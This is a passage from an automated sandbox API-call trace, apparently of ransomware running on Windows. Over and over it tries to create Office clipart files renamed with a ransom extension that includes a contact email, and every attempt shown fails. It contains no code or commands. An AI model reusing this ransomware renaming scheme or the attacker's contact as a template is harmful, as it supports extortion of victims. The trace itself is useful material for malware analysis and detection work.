office\\root\\clipart\\pub60cor\\na01627_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.989] CloseHandle (hObject=0x11d0) returned 1 [0257.467] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.467] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02451_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02451_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.468] CloseHandle (hObject=0x11d0) returned 1 [0257.482] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.482] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02453_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02453_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.482] CloseHandle (hObject=0x1234) returned 1 [0257.484] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.484] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00014_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00014_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.485] CloseHandle (hObject=0x1234) returned 1 [0257.487] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.487] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00034_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00034_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.487] CloseHandle (hObject=0x1234) returned 1 [0257.488] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.488] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00049_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00049_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.489] CloseHandle (hObject=0x1234) returned 1 [0257.490] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.490] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00050_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00050_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.491] CloseHandle (hObject=0x1234) returned 1 [0257.492] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.492] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00052_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00052_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.492] CloseHandle (hObject=0x1234) returned 1 [0257.494] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.494] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00231_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00231_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.494] CloseHandle (hObject=0x1234) returned 1 [0257.496] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.497] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00272_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00272_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.497] CloseHandle (hObject=0x1234) returned 1 [0257.498] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.498] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00468_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00468_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.499] CloseHandle (hObject=0x1234) returned 1 [0257.502] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.502] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00478_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00478_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.503] CloseHandle (hObject=0x1234) returned 1 [0257.504] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.504] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00485_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00485_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.504] CloseHandle (hObject=0x1234) returned 1 [0257.505] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.505] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00489_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00489_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.506] CloseHandle (hObject=0x1234) returned 1 [0257.508] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.509] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00531_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00531_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.509] CloseHandle (hObject=0x1234) returned 1 [0257.511] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.511] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00542_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00542_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.511] CloseHandle (hObject=0x1234) returned 1 [0257.513] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.513] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00555_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00555_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.514] CloseHandle (hObject=0x1234) returned 1 [0258.027] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.027] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03668_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03668_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.028] CloseHandle (hObject=0x127c) returned 1 [0258.029] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.029] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03731_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03731_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.029] CloseHandle (hObject=0x127c) returned 1 [0258.030] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.030] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03795_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03795_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.031] CloseHandle (hObject=0x127c) returned 1 [0258.032] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.032] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE04050_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe04050_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.032] CloseHandle (hObject=0x127c) returned 1 [0258.033] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.034] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05665_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05665_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.034] CloseHandle (hObject=0x127c) returned 1 [0258.035] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.035] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05710_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05710_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.035] CloseHandle (hObject=0x127c) returned 1 [0258.037] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.037] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05869_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05869_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.038] CloseHandle (hObject=0x127c) returned 1 [0258.039] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.039] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05870_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05870_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.039] CloseHandle (hObject=0x127c) returned 1 [0258.041] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.041] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE05930_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe05930_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.041] CloseHandle (hObject=0x127c) returned 1 [0258.045] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.045] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06049_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06049_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.045] CloseHandle (hObject=0x127c) returned 1 [0258.046] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.046] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE06450_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe06450_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.047] CloseHandle (hObject=0x127c) returned 1 [0258.048] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.048] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00601G.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00601g.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.048] CloseHandle (hObject=0x127c) returned 1 [0258.049] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.049] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH00780U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph00780u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.050] CloseHandle (hObject=0x127c) returned 1 [0258.052] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.052] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01035U.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01035u.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.052] CloseHandle (hObject=0x127c) returned 1 [0258.057] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.057] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01046J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01046j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.057] CloseHandle (hObject=0x127c) returned 1 [0258.059] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.059] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH01179J.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph01179j.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 